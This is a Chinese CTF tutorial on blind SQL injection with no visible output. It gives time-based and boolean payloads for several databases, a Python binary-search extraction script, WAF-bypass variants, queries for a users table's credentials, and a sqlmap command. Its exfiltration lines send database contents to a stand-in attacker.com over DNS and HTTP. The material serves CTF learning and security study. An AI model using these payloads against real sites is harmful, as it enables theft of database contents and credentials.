CTF 无回显SQL盲注解题方法
- 1. 确认注入点与数据库类型
- 2. 构造条件判断提取数据
- 3. 自动化利用脚本
- 4. 外带数据(OOB Exfiltration)
- 5. 绕过过滤与WAF
- 6. 关键数据提取路径
- 7. 工具推荐
- 总结
在CTF中解决无任何回显的SQL注入题目,通常需要依赖盲注技术或外带数据(OOB)。以下是分步解决方案:
1. 确认注入点与数据库类型
- 时间盲注探测
通过注入时间延迟函数,判断是否存在漏洞及数据库类型:sql">' AND SLEEP(5)-- -- MySQL ' || pg_sleep(5)-- -- PostgreSQL '; WAITFOR DELAY '0:0:5'-- -- SQL Server
- 若响应延迟,则确认注入点及数据库类型。
2. 构造条件判断提取数据
-
布尔盲注(无回显但可推断真假)
若页面有细微变化(如状态码、响应长度),通过布尔条件判断数据:sql">' AND (SELECT SUBSTRING(database(),1,1))='a'--
- 若条件为真,页面可能正常加载;否则返回错误或空白。
-
时间盲注(完全无回显)
通过时间延迟条件逐字符提取数据:sql">' AND IF(ASCII(SUBSTRING((SELECT database()),1,1))>100, SLEEP(5), 0)--
- 若响应延迟,则字符ASCII码大于100。
3. 自动化利用脚本
- Python脚本示例(时间盲注)
使用二分法优化字符猜测过程:import requests import time url = "http://target.com/page?id=1" chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_" def extract_data(query): result = "" index = 1 while True: low, high = 0, 127 found = False while low <= high: mid = (low + high) // 2 payload = f"' AND IF(ASCII(SUBSTRING(({query}),{index},1))>{mid}, SLEEP(5), 0)-- " start = time.time() requests.get(url + payload) delay = time.time() - start if delay > 5: low = mid + 1 else: high = mid - 1 char = chr(low) if char == '\x00': break result += char index += 1 print(f"Current result: {result}") return result # 提取数据库名 database = extract_data("SELECT database()") print(f"Database: {database}")
4. 外带数据(OOB Exfiltration)
-
DNS外带(需数据库支持网络请求)
将数据编码到DNS查询中,通过子域名记录获取:sql">' UNION SELECT LOAD_FILE(CONCAT('\\\\',(SELECT database()),'.attacker.com\\test'))--
- 监控DNS日志(如使用
dig
或在线服务),查看子域名请求。
- 监控DNS日志(如使用
-
HTTP请求外带
利用数据库函数发起HTTP请求(如MySQL的http_get
):sql">' UNION SELECT http_get(CONCAT('http://attacker.com/?data=', (SELECT database()))--
5. 绕过过滤与WAF
-
编码绕过
使用Hex、Base64或URL编码:sql">' AND 1=IF(ASCII(SUBSTRING(database(),1,1))=0x61, SLEEP(5), 0)--
-
字符串拼接与注释
利用注释符或拆分关键词:sql">' AN//D SLEEP(5)-- ' || (CASE WHEN (SELECT 'a'='a') THEN pg_sleep(5) ELSE 0 END)--
6. 关键数据提取路径
- 数据库名:
SELECT database()
- 表名:
sql">SELECT table_name FROM information_schema.tables WHERE table_schema=database()
- 列名:
sql">SELECT column_name FROM information_schema.columns WHERE table_name='users'
- 数据内容:
sql">SELECT username, password FROM users
7. 工具推荐
- sqlmap:使用
--time-sec
参数自动化时间盲注:sqlmap -u "http://target.com/page?id=1" --technique=T --time-sec=5 --dbs
总结
无回显注入的核心是通过条件触发延迟或外带通道获取数据。优先尝试时间盲注,若环境允许则结合OOB技术提升效率。编写自动化脚本并合理优化判断逻辑(如二分法)是关键。